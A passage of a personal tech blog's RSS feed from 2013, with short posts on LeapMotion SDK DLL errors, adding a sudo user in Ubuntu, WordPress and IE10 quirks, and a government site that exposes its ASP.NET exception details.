&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;32&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#32&#34;&gt;32&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;System.TypeInitializationException was unhandled
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HResult=-&lt;span style=&#34;color:#f5a97f&#34;&gt;2146233036&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Message=The type initializer &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;&amp;#39;&lt;/span&gt;Leap.LeapPINVOKE&lt;span style=&#34;color:#ed8796&#34;&gt;&amp;#39;&lt;/span&gt; threw an exception.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Source=LeapCSharp.NET4.&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TypeName=Leap.LeapPINVOKE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;StackTrace:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Leap.LeapPINVOKE.new_Listener()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Leap.Listener..ctor()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at HelloLeap.MyListener..ctor()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at HelloLeap.Program.Main(String[] args) &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; c:&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;Users&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;amit.bahree&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;Documents&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;Visual Studio &lt;span style=&#34;color:#f5a97f&#34;&gt;2013&lt;/span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;Projects&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;HelloLeap&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;HelloLeap&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;Program.cs:line &lt;span style=&#34;color:#f5a97f&#34;&gt;14&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at System.Threading.ExecutionContext.RunInternal(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean preserveSyncCtx)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at System.Threading.ThreadHelper.ThreadStart()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;InnerException: System.TypeInitializationException
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HResult=-&lt;span style=&#34;color:#f5a97f&#34;&gt;2146233036&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Message=The type initializer &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; &lt;span style=&#34;color:#ed8796&#34;&gt;&amp;#39;&lt;/span&gt;SWIGExceptionHelper&lt;span style=&#34;color:#ed8796&#34;&gt;&amp;#39;&lt;/span&gt; threw an exception.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Source=LeapCSharp.NET4.&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TypeName=SWIGExceptionHelper
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;StackTrace:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Leap.LeapPINVOKE.SWIGExceptionHelper..ctor()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Leap.LeapPINVOKE..cctor()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;InnerException: System.DllNotFoundException
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HResult=-&lt;span style=&#34;color:#f5a97f&#34;&gt;2146233052&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Message=Unable to load DLL &lt;span style=&#34;color:#ed8796&#34;&gt;&amp;#39;&lt;/span&gt;LeapCSharp&lt;span style=&#34;color:#ed8796&#34;&gt;&amp;#39;&lt;/span&gt;: The specified module could not be found. (Exception &lt;span style=&#34;color:#c6a0f6&#34;&gt;from&lt;/span&gt; HRESULT: &lt;span style=&#34;color:#f5a97f&#34;&gt;0x8007007E&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Source=LeapCSharp.NET4.&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;TypeName=&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;StackTrace:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Leap.LeapPINVOKE.SWIGExceptionHelper.SWIGRegisterExceptionCallbacks_Leap(ExceptionDelegate applicationDelegate, ExceptionDelegate arithmeticDelegate, ExceptionDelegate divideByZeroDelegate, ExceptionDelegate indexOutOfRangeDelegate, ExceptionDelegate invalidCastDelegate, ExceptionDelegate invalidOperationDelegate, ExceptionDelegate ioDelegate, ExceptionDelegate nullReferenceDelegate, ExceptionDelegate outOfMemoryDelegate, ExceptionDelegate overflowDelegate, ExceptionDelegate systemExceptionDelegate)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Leap.LeapPINVOKE.SWIGExceptionHelper..cctor()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;On the other hand if you get a SEHException from LeapMotion (something like the one below) then the issue is either you don&amp;rsquo;t have the right version of the assemblies (e.g. you are compiling a x64 version, but have the x32 binaries, or vice-versa).&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-csharp&#34; data-lang=&#34;csharp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;System.Runtime.InteropServices.SEHException occurred
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HResult=-&lt;span style=&#34;color:#f5a97f&#34;&gt;2147467259&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Message=External component has thrown an exception.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Source=Your.Some.Assembly
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ErrorCode=-&lt;span style=&#34;color:#f5a97f&#34;&gt;2147467259&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;StackTrace:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Leap.LeapPINVOKE.Controller_EnableGesture__SWIG_1(HandleRef jarg1, Int32 jarg2)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Somewhere.In.Your.Code bin
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;at Some.Assembly &lt;span style=&#34;color:#c6a0f6&#34;&gt;in&lt;/span&gt; d:&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;Data&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;src&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;SomeCode&lt;span style=&#34;color:#ed8796&#34;&gt;\&lt;/span&gt;YourFile.cs:line &lt;span style=&#34;color:#f5a97f&#34;&gt;23&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;InnerException:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The solution is simple in both cases to copy the binaries (which can be found in LeapSDK\lib) to the Debug and Release folders.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Requirements - are they that important?</title>
      <link>/post/2013/08/requirements-are-they-that-important/</link>
      <pubDate>Sat, 10 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/requirements-are-they-that-important/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/just-because.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>WordPress 3.6 and IE10</title>
      <link>/post/2013/08/wordpress-3-6-and-ie10/</link>
      <pubDate>Sat, 10 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/wordpress-3-6-and-ie10/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t know what WordPress thinks of IE 10 (running on Win 8), but when I upgraded to WordPress v3.6, and I login to the Dashboard, it does not like IE running in compatibility mode and shows me the following. It would think I am still running IE 6! Also whilst I don&amp;rsquo;t get this with the compatibility mode switched off, everything does not work correctly and one has to use either Firefox or Chrome.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/wordpress-3.6-and-IE10.jpg&#34; alt=&#34;Wordpress 3.6 and IE10&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Adding an user in Ubuntu - Why is it so difficult?</title>
      <link>/post/2013/08/adding-a-user-in-ubuntu-why-so-difficult/</link>
      <pubDate>Fri, 09 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/adding-a-user-in-ubuntu-why-so-difficult/</guid>
      <description>&lt;p&gt;I installed the latest version of Ubuntu (13.04, Raring Tail) on a machine at home to check it out (it was running CentOS 6.4 before that). Setting it up was quite simple, but I am not sure if I like the too simple UI. I don&amp;rsquo;t want an uber-geek only-shell mode, but the CentOS I thought was the right balance.&lt;/p&gt;
&lt;p&gt;Anyways, when I first added a new user, there was no way I could set a password which was very weird - not a permanent or temporary one! And there is no way one can then login. I don&amp;rsquo;t think this is user error, but then if it is a bug, it seems like a big one!&lt;/p&gt;
&lt;p&gt;So I had to deleted the user and then added them back (via the shell &lt;code&gt;sudo adduser user-name-you-want&lt;/code&gt; command) and then set the password. If you want to change the password, you can also use &lt;code&gt;passwd user-name-you-want&lt;/code&gt; in a shell).&lt;/p&gt;
&lt;p&gt;But the most irritating part of this was adding the new user to have root access. It took me a little time to figure out. But in the end it turns our the root (or su) group is called &amp;ldquo;sudo&amp;rdquo; and it is part of this group that the new user needs to be in if they need root access.&lt;/p&gt;
&lt;p&gt;To modify an existing user, you use the following command in the shell &lt;code&gt;sudo usermod -g sudo user-name-you-want&lt;/code&gt; where of course sudo is the group name.&lt;/p&gt;
&lt;p&gt;Now, we got there in the end, but why does it have to be so painful like pulling teeth! If this is supposed to be easy for the average user, surely they are missing a trick.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Sleeves and LeapMotion</title>
      <link>/post/2013/08/sleeves-and-leapmotion/</link>
      <pubDate>Thu, 08 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/sleeves-and-leapmotion/</guid>
      <description>&lt;p&gt;I have seen this a few times now so I know it is not a one off, but it seems that the sleeves of my shirt seem to throw off the Leap Motion sensor and it detects it as another hand - and ends up showing three hands.&lt;/p&gt;
&lt;p&gt;I thought it was my watch which might be causing some issue, but that was not it. It goes away when I am wearing a t-shirt, but the tracking is quite off when wearing a full sleeve shirt.&lt;/p&gt;
&lt;p&gt;I have been meaning to record a video, but not had a chance to do it yet. I was wondering, has anyone else also seen something similar?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How to insult a developer?</title>
      <link>/post/2013/08/how-to-insult-a-developer/</link>
      <pubDate>Tue, 06 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/how-to-insult-a-developer/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://static.squarespace.com/static/518f5d62e4b075248d6a3f90/t/51bb91f3e4b0405092e56e27/1371247103965/not-restful.jpg?format=750w&#34; alt=&#34;How to insult a developer&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>VSTO download for Visual Studio 2012</title>
      <link>/post/2013/08/vsto-download-for-visual-studio-2012/</link>
      <pubDate>Tue, 06 Aug 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/08/vsto-download-for-visual-studio-2012/</guid>
      <description>&lt;p&gt;I don&amp;rsquo;t know why it is simple to find, or even on the download section on MSDN, but trying to find the VSTO download specifically for Visual Studio 2012 is a real pain. It took me some time trying to find this and if you need to save some time then you can download it &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-US/office/apps/fp123627&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		from here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What is a Vodafone thinking with Site Timing?</title>
      <link>/post/2013/07/what-is-a-vodafone-thinking-with-site-timing/</link>
      <pubDate>Tue, 30 Jul 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/07/what-is-a-vodafone-thinking-with-site-timing/</guid>
      <description>&lt;p&gt;This has to fall in the weird category. Vodafone&amp;rsquo;s Corporate Online site, where I need to login to see my company provided mobile bill has timings from 07:30 to 22:30 GMT - WHY??? Don&amp;rsquo;t they get it, this is online and the site can be up and running 24x7! This is not some technical support I am talking about where they have actual humans monitoring and answering - this is access to the billing system.&lt;/p&gt;
&lt;p&gt;When you are in another country and timezone (like I am right now), does Vodafone have any idea on how irritating this can be?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/vodafone-site-timmings.png&#34; alt=&#34;Vodafone Site Timings&#34;/&gt;
        &lt;figcaption&gt;Vodafone Site Timings&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>How not to handle exceptions!</title>
      <link>/post/2013/07/how-not-to-handle-exceptions/</link>
      <pubDate>Fri, 19 Jul 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/07/how-not-to-handle-exceptions/</guid>
      <description>&lt;p&gt;Was trying to pay my Electricity bill online via a site called &lt;a
	
		href = &#34;https://www.bangaloreone.gov.in/public/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bangalore One
	&lt;/span&gt;
&lt;/a&gt;, which is the Governments, premier one-stop shop for Electronic Delivery of Citizen Services.&lt;/p&gt;
&lt;p&gt;I could not pay because it seems like some backend services they need for credit card payment is down. How do I know this? Because the site is revealing too much detail! See the exception details pasted below.&lt;/p&gt;
&lt;p&gt;This is a great example of what &lt;strong&gt;not&lt;/strong&gt; to do! I have seen this often, and it is lazy developers and even lazier testers who approved this and get this into production. One would have thought that government managing the &amp;ldquo;Silicon Valley of India&amp;rdquo; would know better!&lt;/p&gt;
&lt;p&gt;It is also interesting to see that they are on a very old version of .NET - running on v1.1.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Description:&lt;/strong&gt;
An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exception Details:&lt;/strong&gt;
&lt;code&gt;System.Exception: Timeout expired. The timeout period elapsed prior to completion of the operation or the server is not responding.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Source Error:&lt;/strong&gt;
&lt;code&gt;An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Stack Trace:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt;7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt;8&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[Exception: Timeout expired.  The timeout period elapsed prior to completion of the operation or the server is not responding.]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   BangaloreOne.clsBESCOM.fnCheckTransCnt(String LocationRRNo, String StaffCode, Int32 intDeptCode) +381
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   bOneWebPortal.BESCOMConfirm.Page_Load(Object sender, EventArgs e) +721
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   System.Web.UI.Control.OnLoad(EventArgs e) +67
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   System.Web.UI.Control.LoadRecursive() +35
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   System.Web.UI.Page.ProcessRequestMain() +750
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;&lt;/span&gt;Version Information: Microsoft .NET Framework Version:1.1.4322.2300; ASP.NET Version:1.1.4322.2300
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Google Logic</title>
      <link>/post/2013/07/google-logic/</link>
      <pubDate>Wed, 10 Jul 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/07/google-logic/</guid>
      <description>&lt;p&gt;I came across this very interesting article in the guardian called &amp;ldquo;&lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/2013/jul/09/google-android-reader-why&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Google logic: why Google does the things it does the way it does
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo;. This is a fascinating insight and a lot of it makes sense to me. What was also interesting to understand a little more on how the mindset is very different from the other corporates and technology leaders out there. Especially interesting the self-righteous view one perceives that Google has of themselves. It is a little long, but worth a read.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Broke my Microsoft Surface Pro device!</title>
      <link>/post/2013/07/broke-my-microsoft-surface-pro-device/</link>
      <pubDate>Tue, 09 Jul 2013 00:00:00 +0000</pubDate>
      
      <guid>/post/2013/07/broke-my-microsoft-surface-pro-device/</guid>
      <description>&lt;p&gt;I am probably the only guy on the planet who broke his Surface Pro device! :oops: So much so that the screen shattered - so much for Gorilla glass and all that!&lt;/p&gt;
&lt;p&gt;I was starting out on a 4 week long trip and the Surface slipped and fell at the airport when taking it out for the X-Ray machine. It fell on one corner and the screen shattered. With small pieces of glass everywhere on it, it was not usable. However it did work when I switched it on a week later. Here are a few photos that show the extend of the damage and the fact that it was still working post that!&lt;/p&gt;
